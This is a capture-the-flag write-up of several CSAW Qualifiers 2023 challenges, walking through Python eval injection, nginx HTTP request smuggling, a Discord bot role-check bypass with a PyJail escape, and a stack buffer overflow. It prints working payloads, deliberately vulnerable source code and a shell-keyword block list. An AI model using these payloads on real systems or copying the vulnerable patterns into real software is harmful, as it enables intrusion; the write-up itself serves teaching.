CSAW Qualifiers 2023
Intro: My First Pwnie
This was a simple introductory challenge where the goal was to execute arbitrary commands and read the contents
of /flag.txt
.
The source code running on the server looks like this:
1try:
2 response = eval(input("What's the password? "))
3 print(f"You entered `{response}`")
4 if response == "password":
5 print("Yay! Correct! Congrats!")
6 quit()
7except:
8 pass
As we can see, there is the input function going directly into eval which means we can run Python code. To execute arbitrary commands, we can use the __import__ built-in function to import the os module and call the system function which executes arbitrary commands on the host system.
Payload: __import__('os').system('cat /flag.txt')
Flag: csawctf{neigh______}
Intro: Baby’s First
This was a simple introductory challenge that required observing the source code of the application to find forgotten hardcoded secrets inside.
The source code we were provided was:
1if input("What's the password? ") == "csawctf{w3_411_star7_5om3wher3}":
2 print("Correct! Congrats! It gets much harder from here.")
3else:
4 print("Trying reading the code...")
As we can see, the flag is directly on the right-hand side of the if
comparison.
Flag: csawctf{w3_411_star7_5om3wher3}
Web: Smug-Dino
This was a simple web challenge that required us to exploit HTTP Request Smuggling to send a request to a local server running on a different port.
The webserver is running nginx 1.17.6 which is vulnerable to CVE-2019-20372.
We can craft a malicious request to exploit this vulnerability by simply adding another request below the original
request (there have to be two CRLF sequences \r\n\r\n
):
1GET /non-existent HTTP/1.1
2Host: web.csaw.io:3009
3
4
5GET /flag.txt HTTP/1.1
6Host: localhost:3009
As we can see, the flag is returned to us below the original request’s response.
Flag: csawctf{d0nt_smuggl3_Fla6s_!}
Misc: Discord Admin Bot
This was a simple misc challenge that required us to circumvent a Discord bot’s poor access control checks and escape a basic PyJail implementation.
This is the full source code of the Discord bot:
1import discord
2from discord.ext import commands, tasks
3import subprocess
4
5from settings import ADMIN_ROLE
6import os
7from dotenv import load_dotenv
8from time import time
9
10load_dotenv()
11
12TOKEN = os.getenv("TOKEN")
13
14intents = discord.Intents.default()
15intents.messages = True
16bot = commands.Bot(command_prefix="!", intents=intents)
17
18bot.remove_command('help')
19
20SHELL_ESCAPE_CHARS = [":", "curl", "bash", "bin", "sh", "exec", "eval,", "|", "import", "chr", "subprocess", "pty", "popen", "read", "get_data", "echo", "builtins", "getattr"]
21
22COOLDOWN = []
23
24def excape_chars(strings_array, text):
25 return any(string in text for string in strings_array)
26
27def pyjail(text):
28 if excape_chars(SHELL_ESCAPE_CHARS, text):
29 return "No shells are allowed"
30
31 text = f"print(eval(\"{text}\"))"
32 proc = subprocess.Popen(['python3', '-c', text], stdout=subprocess.PIPE, preexec_fn=os.setsid)
33 output = ""
34 try:
35 out, err = proc.communicate(timeout=1)
36 output = out.decode().replace("\r", "")
37 print(output)
38 print('terminating process now')
39 proc.terminate()
40 except Exception as e:
41 proc.kill()
42 print(e)
43
44 if output:
45 return f"```{output}```"
46
47
48@bot.event
49async def on_ready():
50 print(f'{bot.user} successfully logged in!')
51
52@bot.command(name="flag", pass_context=True)
53async def flag(ctx):
54 admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
55
56 if admin_flag:
57 cmds = "Here are some functionalities of the bot\n\n`!add <number1> + <number2>`\n`!sub <number1> - <number2>`"
58 await ctx.send(cmds)
59 else:
60 message = "Only 'admin' can see the flag.😇"
61 await ctx.send(message)
62
63@bot.command(name="add", pass_context=True)
64async def add(ctx, *args):
65 admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
66 if admin_flag:
67 arg = " ".join(list(args))
68 user_id = ctx.message.author.id
69 ans = pyjail(arg)
70 if ans: await ctx.send(ans)
71 else:
72 await ctx.send("no flag for you, you are cheating.😔")
73
74@bot.command(name="sub", pass_context=True)
75async def sub(ctx, *args):
76 admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
77 if admin_flag:
78 arg = " ".join(list(args))
79 ans = pyjail(arg)
80 if ans: await ctx.send(ans)
81 else:
82 await ctx.send("no flag for you, you are cheating.😔")
83
84
85@bot.command(name="help", pass_context=True)
86async def help(ctx, *args):
87 await ctx.send("Try getting `!flag` buddy... Try getting flag.😉")
88
89
90@bot.event
91async def on_command_error(ctx, error):
92 if isinstance(error, commands.CommandNotFound):
93 await ctx.send("Try getting `!flag` buddy... Try getting flag.😉")
94 else:
95 print(f'Error: {error}')
96
97
98bot.run(TOKEN)
As we can see from the source code, the bot is most likely running discord.py which is not important, however, what is
important is how the bot is checking whether the sender is an admin
.
1admin_flag = any(role.name == ADMIN_ROLE for role in ctx.message.author.roles)
The bot only checks whether the user has a role which is called admin
, not a specific Role ID. This means that if we
were able to invite the bot to our own server and create an admin
role, we would be able to bypass this check.
We can try to invite the bot to our server by using the Bot’s User ID.
First, we have to copy the Bot’s User ID:
Bot’s User ID: 1152454751879962755
Next, we can try to invite the bot to our server using this link:https://discord.com/oauth2/authorize?client_id={user_id}&scope=bot
https://discord.com/oauth2/authorize?client_id=1152454751879962755&scope=bot
Which has worked beautifully, so, after creating an admin
role inside the server, we can give it to ourselves and try
to send the !flag
command:
Now, we just need to bypass the PyJail:
1SHELL_ESCAPE_CHARS = [":", "curl", "bash", "bin", "sh", "exec", "eval,", "|", "import", "chr", "subprocess", "pty", "popen", "read", "get_data", "echo", "builtins", "getattr"]
2
3COOLDOWN = []
4
5def excape_chars(strings_array, text):
6 return any(string in text for string in strings_array)
7
8def pyjail(text):
9 if excape_chars(SHELL_ESCAPE_CHARS, text):
10 return "No shells are allowed"
11
12 text = f"print(eval(\"{text}\"))"
13 proc = subprocess.Popen(['python3', '-c', text], stdout=subprocess.PIPE, preexec_fn=os.setsid)
14 output = ""
15 try:
16 out, err = proc.communicate(timeout=1)
17 output = out.decode().replace("\r", "")
18 print(output)
19 print('terminating process now')
20 proc.terminate()
21 except Exception as e:
22 proc.kill()
23 print(e)
24
25 if output:
26 return f"```{output}```"
Here we can see that our input is being passed into eval, but right before that, there is a check, that stops
execution if it finds any of the keywords from the list SHELL_ESCAPE_CHARS
inside of our input. Therefore, we had to
print the flag without using any of those keywords, which wasn’t that hard in the end.
We can use list comprehension to print the lines without using any of the blacklisted keywords.
Payload: !sub [line for line in open('/flag.txt')]
Flag: csawctf{Y0u_4r3_th3_fl4g_t0_my_pyj4il_ch4ll3ng3}
Pwn: Puffin
We can open up the binary in dogbolt and take a look at the main
function:
1undefined8 main(void)
2
3{
4 char local_38 [44]; // <-- char array of size 44
5 int local_c; // <-- target to be changed, next variable on the stack
6
7 setvbuf(stdout,(char *)0x0,2,0);
8 setvbuf(stdin,(char *)0x0,2,0);
9 fflush(stdout);
10 fflush(stdin);
11 local_c = 0; // <-- target is assigned 0
12 printf("The penguins are watching: ");
13 fgets(local_38,0x30,stdin); // <-- reads 48 bytes into local_38 which can hold up to 44
14 if (local_c == 0) { // <-- check if target is zero
15 puts(&DAT_0010099e);
16 }
17 else {
18 system("cat /flag.txt");
19 }
20 return 0;
21}
We can see there is a char array local_38
with the size of 44 bytes and right after that there is an integer local_c
which is later assigned the value of 0
, then user input is read into local_38
using fgets and then local_c
is
checked for whether it is 0
. Therefore, we know the goal is to overflow the buffer which will lead to us overwriting
the next variable on the stack which is the local_c
variable.
We can achieve that by sending more than 44 characters to the application.
Also, remember that we can send just 44 characters exactly and a new line to trigger the overflow, since the newline counts as well.
Payload: python -c 'print("A"*44)' | nc intro.csaw.io 31140 | grep csawctf{\.\*}
Flag: csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}
Web: Philanthropy
This was a fairly simple web challenge. It required us to hack into a website using techniques like mass assignment. This allowed us to give ourselves membership. We also exploited a lack of access controls on an API endpoint. This helped us gather information on Snake and Otacon.
TODO: To be added
Flag: csawctf{K3pt_y0u_Wa1t1ng_HUh}